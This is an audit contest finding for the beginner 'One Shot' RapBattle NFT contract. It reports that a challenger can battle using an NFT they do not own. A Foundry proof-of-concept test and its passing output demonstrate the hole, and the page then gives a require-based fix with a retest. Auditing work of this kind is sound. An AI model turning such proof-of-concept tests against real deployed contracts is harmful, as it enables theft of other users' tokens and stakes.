First Flight #10: One Shot
First Flight #10
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Challenger is allowed to battle without owning the nft

abhishekthakur

Summary

challenger is allowed to battle without having nft makes the whole process flawed.

Vulnerability Details

_battle is an internal function on RapBattle smart contract which is called when there is already a user who is on stage. That's a valid defender is there. So when this contract is called, user input is not validated.
Attacker can input any nft, that other user hold or any non-existent nft id. This makes it unfair to the actual nft holder and defeat the whole purpose of battle.

POC

In existing test suite, add following test

// Test that the challenger can battle without an nft
function testUserCanBattleWithoutNFT() public twoSkilledRappers {
address challengerWithoutNft = makeAddr("slimestShady");
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 10);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
​
vm.startPrank(challenger);
/// sending cred token to challengerWithoutNFT
cred.transfer(challengerWithoutNft, 3);
vm.stopPrank();
​
vm.startPrank(challengerWithoutNft);
cred.approve(address(rapBattle), 10);
console2.log("challenger nft balance before battle:", oneShot.balanceOf(challengerWithoutNft));
rapBattle.goOnStageOrBattle(1, 3);
console2.log("challenger played the battle without nft: true");
vm.stopPrank();
​
assert(oneShot.ownerOf(0) == address(user));
}
​

then run forge test --mt testUserCanBattleWithoutNFT -vv in the terminal, it will print follwoing result

[⠢] Compiling...
[⠒] Compiling 1 files with 0.8.23
[⠆] Solc 0.8.23 finished in 1.97s
Compiler run successful!
​
Ran 1 test for test/OneShotTest.t.sol:RapBattleTest
[PASS] testUserCanBattleWithoutNFT() (gas: 645072)
Logs:
challenger nft balance before battle: 0
challenger played the battle without nft: true
​
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.37ms
​
Ran 1 test suite in 2.37ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

User can become challenger without actually having nft, that defeat the purpose of rapper battle. Attacker can use other user nft as input to win the pot.
Manual Review

Recommendations

Add a check to confirm if caller owns the nft.

function _battle(uint256 _tokenId, uint256 _credBet) internal {
address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
+ require(oneShotNft.ownerOf(_tokenId) == msg.sender, "RapBattle: Rapper NFT is required in order to battle");
/// other code as is
}

POC to check validity of fix

We use same unit test, as we used in first POC to check the issue, it should fail with a reason, that we added in require statement.
After running the unit test in terminal we get the following-

[⠢] Compiling...
[⠢] Compiling 2 files with 0.8.23
[⠆] Solc 0.8.23 finished in 2.01s
Compiler run successful!
​
Ran 1 test for test/OneShotTest.t.sol:RapBattleTest
[FAIL. Reason: revert: RapBattle: Rapper NFT is required in order to battle] testUserCanBattleWithoutNFT() (gas: 769210)
Logs:
challenger nft balance before battle: 0
​
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 1.70ms

This verifies, Our fix is working well and users can't battle without having nft.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Challenger can use any nft to battle - not necessarily theirs

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.